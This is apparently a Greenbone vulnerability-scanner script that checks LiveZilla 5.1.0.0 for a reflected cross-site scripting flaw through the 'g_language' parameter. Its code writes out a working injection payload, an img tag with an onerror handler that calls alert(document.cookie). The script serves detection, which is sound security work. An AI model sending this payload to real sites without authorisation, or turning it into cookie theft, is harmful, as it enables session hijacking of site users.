LiveZilla 'g_language' Parameter Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:livezilla:livezilla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803785");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-7002", "CVE-2013-6224");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-12-17 13:21:53 +0530 (Tue, 17 Dec 2013)");
  script_name("LiveZilla 'g_language' Parameter Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"LiveZilla is prone to a cross-site scripting (XSS) vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able
  read the cookie or not.");
  script_tag(name:"solution", value:"Upgrade to LiveZilla 5.1.1.0 or later.");
  script_tag(name:"insight", value:"- The flaw is due to input passed via the 'g_language' GET parameter to
   '/mobile/php/translation/index.php' is not properly sanitised before
   being returned to the user.

  - Input passed via the username and message body to chat.php when starting
   a new chat session is not properly sanitised before being used.");
  script_tag(name:"affected", value:"LiveZilla version 5.1.0.0");
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute arbitrary HTML
  and script code in a users browser session in the context of an affected site
  and launch other attacks.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/54505");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Dec/31");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/124344");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/530209");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_livezilla_detect.nasl");
  script_mandatory_keys("LiveZilla/installed");
  script_require_ports("Services/www", 80);

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_app");

  script_xref(name:"URL", value:"http://livezilla.net");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!lzPort = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:lzPort)){
  exit(0);
}

if( dir == "/" ) dir = "";

url = dir + "/mobile/php/translation/index.php?g_language=f%27%3E%3C" +
            "img%20src=a%20onerror=alert%28document.cookie%29%3Eh";

if(http_vuln_check(port:lzPort, url: url, check_header: TRUE,
   pattern: "onerror=alert\(document.cookie\)",
   extra_check: make_list("LiveZilla Mobile", "Translation management")))
{
  security_message(port:lzPort);
  exit(0);
}

exit(99);